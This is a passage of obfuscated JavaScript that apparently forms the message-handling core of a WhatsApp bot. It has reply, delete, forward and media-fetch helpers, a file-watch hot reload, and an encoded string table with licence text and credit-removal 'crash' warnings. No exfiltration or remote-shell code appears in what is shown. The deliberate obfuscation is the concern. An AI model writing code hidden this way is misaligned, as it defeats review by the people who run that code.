(0x11e)]=ksqq_xmqcM[dBHmOTTxmt$oGXyLJBxoScJxD(0x106)][dBHmOTTxmt$oGXyLJBxoScJxD(0x137)](dBHmOTTxmt$oGXyLJBxoScJxD(0x133)),ksqq_xmqcM[dBHmOTTxmt$oGXyLJBxoScJxD(0x16f)]=TQvko$_BKk[dBHmOTTxmt$oGXyLJBxoScJxD(0x1c8)](ksqq_xmqcM[dBHmOTTxmt$oGXyLJBxoScJxD(0x12c)]&&TQvko$_BKk[dBHmOTTxmt$oGXyLJBxoScJxD(0x1d5)]['id']||ksqq_xmqcM[dBHmOTTxmt$oGXyLJBxoScJxD(0x10c)]||ksqq_xmqcM[dBHmOTTxmt$oGXyLJBxoScJxD(0x16a)][dBHmOTTxmt$oGXyLJBxoScJxD(0x10c)]||ksqq_xmqcM[dBHmOTTxmt$oGXyLJBxoScJxD(0x106)]||'');if(ksqq_xmqcM[dBHmOTTxmt$oGXyLJBxoScJxD(0x11e)])ksqq_xmqcM[dBHmOTTxmt$oGXyLJBxoScJxD(0x10c)]=TQvko$_BKk[dBHmOTTxmt$oGXyLJBxoScJxD(0x1c8)](ksqq_xmqcM[dBHmOTTxmt$oGXyLJBxoScJxD(0x16a)][dBHmOTTxmt$oGXyLJBxoScJxD(0x10c)])||'';}if(ksqq_xmqcM[dBHmOTTxmt$oGXyLJBxoScJxD(0x12a)]){ksqq_xmqcM[dBHmOTTxmt$oGXyLJBxoScJxD(0x188)]=getContentType(ksqq_xmqcM[dBHmOTTxmt$oGXyLJBxoScJxD(0x12a)]),ksqq_xmqcM[dBHmOTTxmt$oGXyLJBxoScJxD(0x1ce)]=ksqq_xmqcM[dBHmOTTxmt$oGXyLJBxoScJxD(0x188)]===dBHmOTTxmt$oGXyLJBxoScJxD(0x191)?ksqq_xmqcM[dBHmOTTxmt$oGXyLJBxoScJxD(0x12a)][ksqq_xmqcM[dBHmOTTxmt$oGXyLJBxoScJxD(0x188)]][dBHmOTTxmt$oGXyLJBxoScJxD(0x12a)][getContentType(ksqq_xmqcM[dBHmOTTxmt$oGXyLJBxoScJxD(0x12a)][ksqq_xmqcM[dBHmOTTxmt$oGXyLJBxoScJxD(0x188)]][dBHmOTTxmt$oGXyLJBxoScJxD(0x12a)])]:ksqq_xmqcM[dBHmOTTxmt$oGXyLJBxoScJxD(0x12a)][ksqq_xmqcM[dBHmOTTxmt$oGXyLJBxoScJxD(0x188)]],ksqq_xmqcM[dBHmOTTxmt$oGXyLJBxoScJxD(0x172)]=ksqq_xmqcM[dBHmOTTxmt$oGXyLJBxoScJxD(0x12a)]?.[dBHmOTTxmt$oGXyLJBxoScJxD(0x1cc)]||ksqq_xmqcM[dBHmOTTxmt$oGXyLJBxoScJxD(0x1ce)]?.[dBHmOTTxmt$oGXyLJBxoScJxD(0x145)]||ksqq_xmqcM[dBHmOTTxmt$oGXyLJBxoScJxD(0x1ce)]?.[dBHmOTTxmt$oGXyLJBxoScJxD(0x1d0)]||ksqq_xmqcM[dBHmOTTxmt$oGXyLJBxoScJxD(0x188)]===dBHmOTTxmt$oGXyLJBxoScJxD(0x10a)&&ksqq_xmqcM[dBHmOTTxmt$oGXyLJBxoScJxD(0x1ce)]?.[dBHmOTTxmt$oGXyLJBxoScJxD(0x161)]?.[dBHmOTTxmt$oGXyLJBxoScJxD(0x176)]||ksqq_xmqcM[dBHmOTTxmt$oGXyLJBxoScJxD(0x188)]===dBHmOTTxmt$oGXyLJBxoScJxD(0x1ab)&&ksqq_xmqcM[dBHmOTTxmt$oGXyLJBxoScJxD(0x1ce)]?.[dBHmOTTxmt$oGXyLJBxoScJxD(0x12e)]||ksqq_xmqcM[dBHmOTTxmt$oGXyLJBxoScJxD(0x188)]===dBHmOTTxmt$oGXyLJBxoScJxD(0x191)&&ksqq_xmqcM[dBHmOTTxmt$oGXyLJBxoScJxD(0x1ce)]?.[dBHmOTTxmt$oGXyLJBxoScJxD(0x145)]||ksqq_xmqcM[dBHmOTTxmt$oGXyLJBxoScJxD(0x1d0)]||'';let XaDP$_p=ksqq_xmqcM[dBHmOTTxmt$oGXyLJBxoScJxD(0x120)]=ksqq_xmqcM[dBHmOTTxmt$oGXyLJBxoScJxD(0x1ce)]?.[dBHmOTTxmt$oGXyLJBxoScJxD(0x18b)]?.[dBHmOTTxmt$oGXyLJBxoScJxD(0x156)]||null;ksqq_xmqcM[dBHmOTTxmt$oGXyLJBxoScJxD(0x117)]=ksqq_xmqcM[dBHmOTTxmt$oGXyLJBxoScJxD(0x1ce)]?.[dBHmOTTxmt$oGXyLJBxoScJxD(0x18b)]?.[dBHmOTTxmt$oGXyLJBxoScJxD(0x117)]||[];if(ksqq_xmqcM[dBHmOTTxmt$oGXyLJBxoScJxD(0x120)]){let KZAegzuXkIiOG_yKeMFkjuIc=Object[dBHmOTTxmt$oGXyLJBxoScJxD(0x183)](ksqq_xmqcM[dBHmOTTxmt$oGXyLJBxoScJxD(0x120)])[Number(-parseInt(0x1a8))*0x7+0x1e4f+-parseInt(0x63d)*Math.floor(0x3)];ksqq_xmqcM[dBHmOTTxmt$oGXyLJBxoScJxD(0x120)]=ksqq_xmqcM[dBHmOTTxmt$oGXyLJBxoScJxD(0x120)][KZAegzuXkIiOG_yKeMFkjuIc];[dBHmOTTxmt$oGXyLJBxoScJxD(0x121)][dBHmOTTxmt$oGXyLJBxoScJxD(0x17a)](KZAegzuXkIiOG_yKeMFkjuIc)&&(KZAegzuXkIiOG_yKeMFkjuIc=Object[dBHmOTTxmt$oGXyLJBxoScJxD(0x183)](ksqq_xmqcM[dBHmOTTxmt$oGXyLJBxoScJxD(0x120)])[Math.trunc(-parseInt(0x344))*Number(-0xb)+Math.ceil(-0xf1f)+-0xf*parseInt(0x163)],ksqq_xmqcM[dBHmOTTxmt$oGXyLJBxoScJxD(0x120)]=ksqq_xmqcM[dBHmOTTxmt$oGXyLJBxoScJxD(0x120)][KZAegzuXkIiOG_yKeMFkjuIc]);if(typeof ksqq_xmqcM[dBHmOTTxmt$oGXyLJBxoScJxD(0x120)]===dBHmOTTxmt$oGXyLJBxoScJxD(0x1b3))ksqq_xmqcM[dBHmOTTxmt$oGXyLJBxoScJxD(0x120)]={'text':ksqq_xmqcM[dBHmOTTxmt$oGXyLJBxoScJxD(0x120)]};ksqq_xmqcM[dBHmOTTxmt$oGXyLJBxoScJxD(0x120)][dBHmOTTxmt$oGXyLJBxoScJxD(0x188)]=KZAegzuXkIiOG_yKeMFkjuIc,ksqq_xmqcM[dBHmOTTxmt$oGXyLJBxoScJxD(0x120)]['id']=ksqq_xmqcM[dBHmOTTxmt$oGXyLJBxoScJxD(0x1ce)]?.[dBHmOTTxmt$oGXyLJBxoScJxD(0x18b)]?.[dBHmOTTxmt$oGXyLJBxoScJxD(0x199)],ksqq_xmqcM[dBHmOTTxmt$oGXyLJBxoScJxD(0x120)][dBHmOTTxmt$oGXyLJBxoScJxD(0x106)]=ksqq_xmqcM[dBHmOTTxmt$oGXyLJBxoScJxD(0x1ce)]?.[dBHmOTTxmt$oGXyLJBxoScJxD(0x18b)]?.[dBHmOTTxmt$oGXyLJBxoScJxD(0x10f)]||ksqq_xmqcM[dBHmOTTxmt$oGXyLJBxoScJxD(0x106)],ksqq_xmqcM[dBHmOTTxmt$oGXyLJBxoScJxD(0x120)][dBHmOTTxmt$oGXyLJBxoScJxD(0x147)]=ksqq_xmqcM[dBHmOTTxmt$oGXyLJBxoScJxD(0x120)]['id']?ksqq_xmqcM[dBHmOTTxmt$oGXyLJBxoScJxD(0x120)]['id'][dBHmOTTxmt$oGXyLJBxoScJxD(0x138)](dBHmOTTxmt$oGXyLJBxoScJxD(0x135))&&ksqq_xmqcM[dBHmOTTxmt$oGXyLJBxoScJxD(0x120)]['id'][dBHmOTTxmt$oGXyLJBxoScJxD(0x100)]===-0x57a*-parseInt(0x5)+0x251d+parseInt(0x406f)*-0x1:![],ksqq_xmqcM[dBHmOTTxmt$oGXyLJBxoScJxD(0x120)][dBHmOTTxmt$oGXyLJBxoScJxD(0x16f)]=TQvko$_BKk[dBHmOTTxmt$oGXyLJBxoScJxD(0x1c8)](ksqq_xmqcM[dBHmOTTxmt$oGXyLJBxoScJxD(0x1ce)]?.[dBHmOTTxmt$oGXyLJBxoScJxD(0x18b)]?.[dBHmOTTxmt$oGXyLJBxoScJxD(0x10c)]),ksqq_xmqcM[dBHmOTTxmt$oGXyLJBxoScJxD(0x120)][dBHmOTTxmt$oGXyLJBxoScJxD(0x12c)]=ksqq_xmqcM[dBHmOTTxmt$oGXyLJBxoScJxD(0x120)][dBHmOTTxmt$oGXyLJBxoScJxD(0x16f)]===TQvko$_BKk[dBHmOTTxmt$oGXyLJBxoScJxD(0x1c8)](TQvko$_BKk[dBHmOTTxmt$oGXyLJBxoScJxD(0x1d5)]['id']),ksqq_xmqcM[dBHmOTTxmt$oGXyLJBxoScJxD(0x120)][dBHmOTTxmt$oGXyLJBxoScJxD(0x1d0)]=ksqq_xmqcM[dBHmOTTxmt$oGXyLJBxoScJxD(0x120)][dBHmOTTxmt$oGXyLJBxoScJxD(0x1d0)]||ksqq_xmqcM[dBHmOTTxmt$oGXyLJBxoScJxD(0x120)][dBHmOTTxmt$oGXyLJBxoScJxD(0x145)]||ksqq_xmqcM[dBHmOTTxmt$oGXyLJBxoScJxD(0x120)][dBHmOTTxmt$oGXyLJBxoScJxD(0x1cc)]||ksqq_xmqcM[dBHmOTTxmt$oGXyLJBxoScJxD(0x120)][dBHmOTTxmt$oGXyLJBxoScJxD(0x165)]||ksqq_xmqcM[dBHmOTTxmt$oGXyLJBxoScJxD(0x120)][dBHmOTTxmt$oGXyLJBxoScJxD(0x148)]||ksqq_xmqcM[dBHmOTTxmt$oGXyLJBxoScJxD(0x120)][dBHmOTTxmt$oGXyLJBxoScJxD(0x140)]||'',ksqq_xmqcM[dBHmOTTxmt$oGXyLJBxoScJxD(0x120)][dBHmOTTxmt$oGXyLJBxoScJxD(0x117)]=ksqq_xmqcM[dBHmOTTxmt$oGXyLJBxoScJxD(0x1ce)]?.[dBHmOTTxmt$oGXyLJBxoScJxD(0x18b)]?.[dBHmOTTxmt$oGXyLJBxoScJxD(0x117)]||[],ksqq_xmqcM[dBHmOTTxmt$oGXyLJBxoScJxD(0x16c)]=ksqq_xmqcM[dBHmOTTxmt$oGXyLJBxoScJxD(0x193)]=async()=>{const UtH$nztJ=dBHmOTTxmt$oGXyLJBxoScJxD;if(!ksqq_xmqcM[UtH$nztJ(0x120)]['id'])return![];let we$Wy_C=await DMZybM[UtH$nztJ(0x1bc)](ksqq_xmqcM[UtH$nztJ(0x106)],ksqq_xmqcM[UtH$nztJ(0x120)]['id'],TQvko$_BKk);return exports[UtH$nztJ(0x114)](TQvko$_BKk,we$Wy_C,DMZybM);};let qQYCIiTKhLWGFIrrVvhMnT=ksqq_xmqcM[dBHmOTTxmt$oGXyLJBxoScJxD(0x120)][dBHmOTTxmt$oGXyLJBxoScJxD(0x149)]=FWfNlsBTLuQnrOxKsI[dBHmOTTxmt$oGXyLJBxoScJxD(0x1bb)]({'key':{'remoteJid':ksqq_xmqcM[dBHmOTTxmt$oGXyLJBxoScJxD(0x120)][dBHmOTTxmt$oGXyLJBxoScJxD(0x106)],'fromMe':ksqq_xmqcM[dBHmOTTxmt$oGXyLJBxoScJxD(0x120)][dBHmOTTxmt$oGXyLJBxoScJxD(0x12c)],'id':ksqq_xmqcM[dBHmOTTxmt$oGXyLJBxoScJxD(0x120)]['id']},'message':XaDP$_p,...ksqq_xmqcM[dBHmOTTxmt$oGXyLJBxoScJxD(0x11e)]?{'participant':ksqq_xmqcM[dBHmOTTxmt$oGXyLJBxoScJxD(0x120)][dBHmOTTxmt$oGXyLJBxoScJxD(0x16f)]}:{}});ksqq_xmqcM[dBHmOTTxmt$oGXyLJBxoScJxD(0x120)][dBHmOTTxmt$oGXyLJBxoScJxD(0x119)]=()=>TQvko$_BKk[dBHmOTTxmt$oGXyLJBxoScJxD(0x1ac)](ksqq_xmqcM[dBHmOTTxmt$oGXyLJBxoScJxD(0x120)][dBHmOTTxmt$oGXyLJBxoScJxD(0x106)],{'delete':qQYCIiTKhLWGFIrrVvhMnT[dBHmOTTxmt$oGXyLJBxoScJxD(0x16a)]}),ksqq_xmqcM[dBHmOTTxmt$oGXyLJBxoScJxD(0x120)][dBHmOTTxmt$oGXyLJBxoScJxD(0xfe)]=(H$GgXHD,ifPNDGLuHPqvEujh=![],RKpQNJo_gdcKLDQ={})=>TQvko$_BKk[dBHmOTTxmt$oGXyLJBxoScJxD(0xfe)](H$GgXHD,qQYCIiTKhLWGFIrrVvhMnT,ifPNDGLuHPqvEujh,RKpQNJo_gdcKLDQ),ksqq_xmqcM[dBHmOTTxmt$oGXyLJBxoScJxD(0x120)][dBHmOTTxmt$oGXyLJBxoScJxD(0x1c1)]=()=>TQvko$_BKk[dBHmOTTxmt$oGXyLJBxoScJxD(0x14e)](ksqq_xmqcM[dBHmOTTxmt$oGXyLJBxoScJxD(0x120)]);}}if(ksqq_xmqcM[dBHmOTTxmt$oGXyLJBxoScJxD(0x1ce)]?.[dBHmOTTxmt$oGXyLJBxoScJxD(0x101)])ksqq_xmqcM[dBHmOTTxmt$oGXyLJBxoScJxD(0x1c1)]=()=>TQvko$_BKk[dBHmOTTxmt$oGXyLJBxoScJxD(0x14e)](ksqq_xmqcM[dBHmOTTxmt$oGXyLJBxoScJxD(0x1ce)]);return ksqq_xmqcM[dBHmOTTxmt$oGXyLJBxoScJxD(0x1d0)]=ksqq_xmqcM[dBHmOTTxmt$oGXyLJBxoScJxD(0x1ce)]?.[dBHmOTTxmt$oGXyLJBxoScJxD(0x1d0)]||ksqq_xmqcM[dBHmOTTxmt$oGXyLJBxoScJxD(0x1ce)]?.[dBHmOTTxmt$oGXyLJBxoScJxD(0x145)]||ksqq_xmqcM[dBHmOTTxmt$oGXyLJBxoScJxD(0x12a)]?.[dBHmOTTxmt$oGXyLJBxoScJxD(0x1cc)]||ksqq_xmqcM[dBHmOTTxmt$oGXyLJBxoScJxD(0x1ce)]?.[dBHmOTTxmt$oGXyLJBxoScJxD(0x165)]||ksqq_xmqcM[dBHmOTTxmt$oGXyLJBxoScJxD(0x1ce)]?.[dBHmOTTxmt$oGXyLJBxoScJxD(0x148)]||ksqq_xmqcM[dBHmOTTxmt$oGXyLJBxoScJxD(0x1ce)]?.[dBHmOTTxmt$oGXyLJBxoScJxD(0x140)]||'',ksqq_xmqcM[dBHmOTTxmt$oGXyLJBxoScJxD(0x1c0)]=(ytAD$qBPYEhaIiXYVVmkv,zZPyZTIshur_jzboc=ksqq_xmqcM[dBHmOTTxmt$oGXyLJBxoScJxD(0x106)],GzuGasGryrLztbtZYG$IbX={})=>Buffer[dBHmOTTxmt$oGXyLJBxoScJxD(0x123)](ytAD$qBPYEhaIiXYVVmkv)?TQvko$_BKk[dBHmOTTxmt$oGXyLJBxoScJxD(0x1c5)](zZPyZTIshur_jzboc,ytAD$qBPYEhaIiXYVVmkv,dBHmOTTxmt$oGXyLJBxoScJxD(0x18e),'',ksqq_xmqcM,{...GzuGasGryrLztbtZYG$IbX}):TQvko$_BKk[dBHmOTTxmt$oGXyLJBxoScJxD(0x155)](zZPyZTIshur_jzboc,ytAD$qBPYEhaIiXYVVmkv,ksqq_xmqcM,{...GzuGasGryrLztbtZYG$IbX}),ksqq_xmqcM[dBHmOTTxmt$oGXyLJBxoScJxD(0x11a)]=()=>exports[dBHmOTTxmt$oGXyLJBxoScJxD(0x114)](TQvko$_BKk,FWfNlsBTLuQnrOxKsI[dBHmOTTxmt$oGXyLJBxoScJxD(0x1bb)](FWfNlsBTLuQnrOxKsI[dBHmOTTxmt$oGXyLJBxoScJxD(0xfc)](ksqq_xmqcM))),ksqq_xmqcM[dBHmOTTxmt$oGXyLJBxoScJxD(0xfe)]=(kMRCPmDLRsOmhDUYa=ksqq_xmqcM[dBHmOTTxmt$oGXyLJBxoScJxD(0x106)],GIUcadmWHVKgb=![],aU_yU_hSLns={})=>TQvko$_BKk[dBHmOTTxmt$oGXyLJBxoScJxD(0xfe)](kMRCPmDLRsOmhDUYa,ksqq_xmqcM,GIUcadmWHVKgb,aU_yU_hSLns),ksqq_xmqcM;};let file=require[OQkNLOEqZsT$FjUdlXtTDCUYtI(0x12b)](__filename);fs[OQkNLOEqZsT$FjUdlXtTDCUYtI(0x1b7)](file,()=>{const rKzQAnOqBFOiR=OQkNLOEqZsT$FjUdlXtTDCUYtI;fs[rKzQAnOqBFOiR(0x187)](file),console[rKzQAnOqBFOiR(0x16b)](chalk[rKzQAnOqBFOiR(0x125)](__filename+rKzQAnOqBFOiR(0x1a6))),delete require[rKzQAnOqBFOiR(0x14b)][file],require(file);}),exports[OQkNLOEqZsT$FjUdlXtTDCUYtI(0x18c)]=async(kfztO_Z,svJbqdUUCmvQvr_zRipOdUW)=>{const amKB$IfP_ruoGDGAnGw=OQkNLOEqZsT$FjUdlXtTDCUYtI;try{svJbqdUUCmvQvr_zRipOdUW?svJbqdUUCmvQvr_zRipOdUW:{};const DaH$klzoQryKaF$lPnO=await axios({'method':amKB$IfP_ruoGDGAnGw(0x17e),'url':kfztO_Z,'headers':{'User-Agent':amKB$IfP_ruoGDGAnGw(0x1b1),'DNT':0x1,'Upgrade-Insecure-Request':0x1},...svJbqdUUCmvQvr_zRipOdUW,'responseType':amKB$IfP_ruoGDGAnGw(0x170)});return DaH$klzoQryKaF$lPnO[amKB$IfP_ruoGDGAnGw(0x1c2)];}catch(lJLkxERfwMR){return lJLkxERfwMR;}};function nVjOQRxdAzikXHUeQTqWb(){const NpuCJxpZlKvToxieD=['f4e5f6f0ede7edf4e5eaf0','d0ecf1f6f7e0e5fd','f4f6ebe7e1f7f7d0ede9e1','f6e1e9ebf0e1ceede0','a4ecebf1f6a8a4','c9e5f6e7ec','e3e1f0c0e5f0e1','e6fdf0e1c8e1eae3f0ec','f7e9f7e3','e0f1f6e5f0edebea','e3e1f0d0ede9e1','e9e1eaf0edebeae1e0ceede0','e6e5f7e1b2b0','e0e1e8e1f0e1','e7ebf4fd','c9d0cdf3c9feddfecac0c1b1c9d0c9b6cafec5b6c9d0d1b6','e1f6f6ebf6','b4a4c6fdf0e1f7','edf7c3f6ebf1f4','d3e1e0eae1f7e0e5fd','f5f1ebf0e1e0','f4f6ebe0f1e7f0c9e1f7f7e5e3e1','d7f1eae0e5fd','edf7c6f1e2e2e1f6','a4ecebf1f6f7a8a4','f6e1e0c6f6ede3ecf0','e6f1e8e5ea','b5b4b7b5b7b5bcb5f7e8eee6c3c7','f0e1f7f0','a4e0e5fda8a4','e9e1f7f7e5e3e1','f6e1f7ebe8f2e1','e2f6ebe9c9e1','c5e2f6ede7e5abcce5f6e5f6e1','f7e1e8e1e7f0e1e0c6f1f0f0ebeacde0','aaaaabedeae0e1fcaaeef7','c9ebeae0e5fd','dfa4d7ddd7d0c1c9a4c7d6c5d7cca4d9a4c0eba4eaebf0a4f6e1e9ebf2e1a4e0e1f2e1e8ebf4e1f6a4e7f6e1e0edf0f7a5','d4e5ecedeae3','c4e3aaf1f7','e9e5e8f2edeaf0e1e7ecb6','c6c5c1b1','e9e5f0e7ecc5e8e8','e1eae0f7d3edf0ec','f7f0e5f6f0f7d3edf0ec','f4e5e0d7f0e5f6f0','e7f6fdf4f0eb','f1f0e2a9bc','f6e5eae0ebe9','c9c5c8d2cdcaa4cfcdcac3a4d0c1c7cc','dfa4d7ddd7d0c1c9a4c7d6c5d7cca4d9a4c9e5edeaa4e2ede8e1a4eaebf0a4e2ebf1eae0a5','c5f1e3f1f7f0','f0edf0e8e1','e3e1f0c6f1e2e2e1f6','a4e9edeaf1f0e1f7a8a4','e7ece5f6c5f0','c8e1e3ed','e7e5f4f0edebea','cef1e8fd','edf7c6e5ede8e1fdf7','f7e1e8e1e7f0e1e0c0edf7f4e8e5fdd0e1fcf0','e2e5efe1cbe6ee','e7ece5e8ef','e7e5e7ece1','dfa4d7ddd7d0c1c9a4c7d6c5d7cca4d9a4c7f6e1e0edf0f7a4ece5f2e1a4e6e1e1eaa4e9ebe0ede2ede1e0a4f3edf0ecebf1f0a4e0e1f2e1e8ebf4e1f6a4f4e1f6e9edf7f7edebeaa5','d3e1e6c9e1f7f7e5e3e1cdeae2eb','e0ebf3eae8ebe5e0c9e1e0ede5c9e1f7f7e5e3e1','c9d0cdf3c9feddfecac0c5fdcad0c5b7cafed1f3c9feeff3','eaf1e9e1f6ede7','a4f7e1e7ebeae0f7','a4f7e1e7ebeae0','a4e0e5fdf7a8a4','f0f6ede9','f7e1eae0d0e1fcf0','f5f1ebf0e1e0c9e1f7f7e5e3e1','e3e1f0','e7e5f4edf0e5e8','f0e5eae3e3e5e8','b5bdbcbcb4b1b2cde2f4c2fddd','f1eaedfcd0ede9e1f7f0e5e9f4d7e1e7ebeae0f7','caebf2e1e9e6e1f6','c4eae1f3f7e8e1f0f0e1f6','d3e5e3e1','e3e1eae1f6e5f0e1c9e1f7f7e5e3e1d0e5e3','e5f7d7e1e7ebeae0f7','f7edeae3e8e1d7e1e8e1e7f0d6e1f4e8fd','dfa4d7ddd7d0c1c9a4c7d6c5d7cca4d9a4c7ebf6e1a4e9edf7f7edeae3a4ebf6a4e7ebf6f6f1f4f0e1e0a5a4c0eba4eaebf0a4e0e1e8e1f0e1a4e6ebf0a4e7f6e1e0edf0f7a5','f6e1f4e8e5e7e1','f4f1f7ec','e7ebeaf0e1eaf0d0e1fcf0','f7f0f6e1e5e9','c9e5fd','bcb5bdb6eac0d7c0dee2','e9e5f0e7ec','efe1fd','e8ebe3','e3e1f0d5f1ebf0e1e0cbe6ee','c5f4f6ede8','cfe8edf3ebea','f7e1eae0e1f6','e5f6f6e5fde6f1e2e2e1f6','ece1e5e0e1f6f7','e6ebe0fd','c2e1e6f6f1e5f6fd','e2f6ebe9','d0f1e1f7e0e5fd','f7e1e8e1e7f0e1e0d6ebf3cde0','eef7ebeae2ebf6e9e5f0','e8ebe7e5e8e1','e3e1f0c3f6ebf1f4c5e0e9edeaf7','edeae7e8f1e0e1f7','e8ebe5e0c9ebe0f1e8e1','e1fcedf7f0f7d7fdeae7','b5bdb1b3b0bcb1f0dde5edeeeb','c3c1d0','b5b2b6d4f5ddfdcbf7','d7e1f4f0e1e9e6e1f6','f0ebd7f0f6edeae3','f0ebc2edfce1e0','efe1fdf7','cef1eae1','e2e1f0e7eccef7ebea','b0b2bdb6b6b1b6eaeceac7fde2','f1eaf3e5f0e7ecc2ede8e1','e9f0fdf4e1','edf7c0e1e1f4d7f0f6ede7f0c1f5f1e5e8','f0ebd1f4f4e1f6c7e5f7e1','e7ebeaf0e1fcf0cdeae2eb','e2e1f0e7ecc6f1e2e2e1f6','e8ebe3ede7','e2ede8e1','e2ebf6e9e5f0','e3e1f0dde1e5f6','f2ede1f3cbeae7e1c9e1f7f7e5e3e1','c9ebfeede8e8e5abb1aab4a4acd3edeae0ebf3f7a4cad0a4b5b4aab4bfa4d3edeab2b0bfa4fcb2b0ada4c5f4f4e8e1d3e1e6cfedf0abb1b7b3aab7b2a4accfccd0c9c8a8a4e8edefe1a4c3e1e7efebada4c7ecf6ebe9e1abbdb1aab4aab0b2b7bcaab2bda4d7e5e2e5f6edabb1b7b3aab7b2','e3e1f0d5f1ebf0e1e0c9e1f7f7e5e3e1','abaea46611146611146611146611146611146611146611146611146611146611146611146611146611146611146611146611146611146611146611146611146611146611146611146611146611146611146611146611146611146611146611146611146611148ea4aea4a4741b1e04a4a4c9c5c8d2cdcaa4cfcdcac3a4d0c1c7cca4a9a4ddd08ea4aea46611146611146611146611146611146611146611146611146611146611146611146611146611146611146611146611146611146611146611146611146611146611146611146611146611146611146611146611146611146611146611146611146611148ea4aea4a48ea4aea4a4741b173ea4a4ddebf1d0f1e6e1a4a4a4a4bea4ecf0f0f4f7beababf3f3f3aafdebf1f0f1e6e1aae7ebe9abc4e9e5e8f2edeaf0e1e7ecb68ea4aea4a4741b163fa4a4c3edf0ccf1e6a4a4a4a4a4bea4ecf0f0f4f7beababe3edf0ecf1e6aae7ebe9abdce0cfedeae3b68ea4aea4a4741b0814a4a4d3e1e6f7edf0e1a4a4a4a4bea4c7ebe9edeae3a4d7ebebea8ea4aea4a4741b2e04a4a4d3ece5f0f7c5f4f4a4a4bea4ecf0f0f4f7beababf3ece5f0f7e5f4f4aae7ebe9abe7ece5eaeae1e8abb4b4b6bdd2e6c6b7ddfcd0c0ceb2ccb5b1d7cfebc6f2b7d78ea4aea4a48ea4aea4a4741b152c660409741b163fa4a4c0e1f2e1e8ebf4e1f6a4a4bea4c9e5e8f2edeaa4cfedeae38ea4aea4a4741b1723a4a4c7ebeaf0e5e7f0a4a4a4a4bea4c5f2e5ede8e5e6e8e1a4ebeaa4c3edf0ccf1e68ea4aea4a48ea4aea4a4661e246b3c0ba4a4a4d4e8e1e5f7e1a4e0eba4eaebf0a4f6e1e9ebf2e1a4f0ecedf7a4f3e5f0e1f6e9e5f6ef8ea4aea46611146611146611146611146611146611146611146611146611146611146611146611146611146611146611146611146611146611146611146611146611146611146611146611146611146611146611146611146611146611146611146611146611148ea4aea4a4462da4b6b4b6b1a4c9e5e8f2edeaa4d0e1e7eca4a9a4c5e8e8a4d6ede3ecf0f7a4d6e1f7e1f6f2e1e08ea4aea4661114661114661114661114661114661114661114661114661114661114661114661114661114661114661114661114661114661114661114661114661114661114661114661114661114661114661114661114661114661114661114661114a4aeab','aaaaabc8cdc7c1cad7c1','e7e8ebe7efd7f0f6edeae3','f4ebf3','aaa9a9','f7f0e5eafee5cde0','f1f0ede8','b6b2b4bdbdbcb4d5eae5f1cac2','f7f0f6edeae3ede2fd','c0e1e7e1e9e6e1f6','d7e5f0f1f6e0e5fd','e2e8ebebf6','e0e5fd','f6f1eaf0ede9e1','f7e8e1e1f4','a4e9edeaf1f0e1a8a4','f7e8ede7e1','b5a4cee5eaf1e5f6fda4b5bdb3b4','a4d1f4e0e5f0e1e0','dfa4d7ddd7d0c1c9a4c7d6c5d7cca4d9a4c7f6e1e0edf0a4e6e8ebe7efa4ece5f7a4e6e1e1eaa4f6e1e9ebf2e1e0a4e2f6ebe9a4e9e5edeaa4e2ede8e1a5','f0e5ecf1ea','eae1f3f7e8e1f0f0e1f6c2ebe8e8ebf3','c0c0abc9c9a4ccccbee9e9bef7f7','e6f1f0f0ebeaf7d6e1f7f4ebeaf7e1c9e1f7f7e5e3e1','f7e1eae0c9e1f7f7e5e3e1','e7ebeaf0e1eaf0a9e8e1eae3f0ec','cdeaf4f1f0a4e5eae0a4cbf1f0f4f1f0a4e9f1f7f0a4ece5f2e1a4f7e5e9e1a4e8e1eae3f0ec','c6fdf0e1f7','e8ebeae3','c9ebfeede8e8e5abb1aab4a4acd3edeae0ebf3f7a4cad0a4b5b4aab4bfa4d3edeab2b0bfa4fcb2b0ada4c5f4f4e8e1d3e1e6cfedf0abb1b7b3aab7b2a4accfccd0c9c8a8a4e8edefe1a4c3e1e7efebada4c7ecf6ebe9e1abb3bcaab4aab7bdb4b0aab3b4a4d7e5e2e5f6edabb1b7b3aab7b2','eeebedea','f7f0f6edeae3','c9cdd0a4c8ede7e1eaf7e1a4660417a4c1ca8e8ec7ebf4fdf6ede3ecf0a4ace7ada4b6b4b6b1a4c9e5e8f2edeaa4cfedeae38e8e6612326b3c0aa4d0e1f6e9f78ea9a4cdf0a4edf7a4f4f6ebecede6edf0e1e0a4f0eba4f7e1e8e8a4ebf6a4f6e1a9e7e8e5ede9a4f4e5f6f0a4ebf6a4e5e8e8a4ebe2a4f0ecedf7a4e7ebe0e1a4f3edf0ecebf1f0a4f3f6edf0f0e1eaa4f4e1f6e9edf7f7edebeaa4e2f6ebe9a4f0ece1a4c0e1f2e1e8ebf4e1f6aa8ea9a4d0ecedf7a4f7e7f6edf4f0a4e7e5eaa4e6e1a4f1f7e1e0a8a4e9ebe0ede2ede1e0a8a4e5eae0a4f6e1e0edf7f0f6ede6f1f0e1e0a4ebeae8fda4e2ebf6a4f4e1f6f7ebeae5e8a4ebf6a4e0e1f2e1e8ebf4e9e1eaf0a4f4f1f6f4ebf7e1f7aa8ea9a4d0ecedf7a4e2ede8e1a4e9f1f7f0a4e6e1a4edeae7e8f1e0e1e0a4edeaa4e1f2e1f6fda4e7ebf4fda4ebf6a4e0e1f6edf2e5f0edf2e1a4ebe2a4f0ece1a4e7ebe0e1aa8e8e661e246b3c0aa4c0edf7e7e8e5ede9e1f68ed0ece1a4f1f7e1a4ebe2a4f0ecedf7a4f7e7f6edf4f0a4edf7a4e1eaf0edf6e1e8fda4f0ece1a4f6e1f7f4ebeaf7ede6ede8edf0fda4ebe2a4f0ece1a4f1f7e1f6aa8ed0ece1a4c0e1f2e1e8ebf4e1f6a4e5eae0a4e7ebeaf0f6ede6f1f0ebf6f7a4e5f6e1a4eaebf0a4f6e1f7f4ebeaf7ede6e8e1a4e2ebf6a4e5eafda4e0e5e9e5e3e1a8a4e8e1e3e5e8a4f2edebe8e5f0edebeaf7a8a4ebf6a4e8ebf7f7e1f7a4e5f6edf7edeae3a4e2f6ebe9a4f0ece1a4f1f7e1a4ebe2a4f0ecedf7a4f7e7f6edf4f0aa8e8e661e1d6b3c0aa4cbe2e2ede7ede5e8a4d7ebf1f6e7e1a4a2a4d1f4e0e5f0e1f78eecf0f0f4f7beababf3ece5f0f7e5f4f4aae7ebe9abe7ece5eaeae1e8abb4b4b6bdd2e6c6b7ddfcd0c0ceb2ccb5b1d7cfebc6f2b7d78e8ec0e1f2e1e8ebf4e1e0a4e6fdbea4c9e5e8f2edeaa4d0e1e7ec','f7f1f4e1f6e5e0e9edea','f4e5f0ec','f3e5f0e7ecc2ede8e1','c4f3ecedf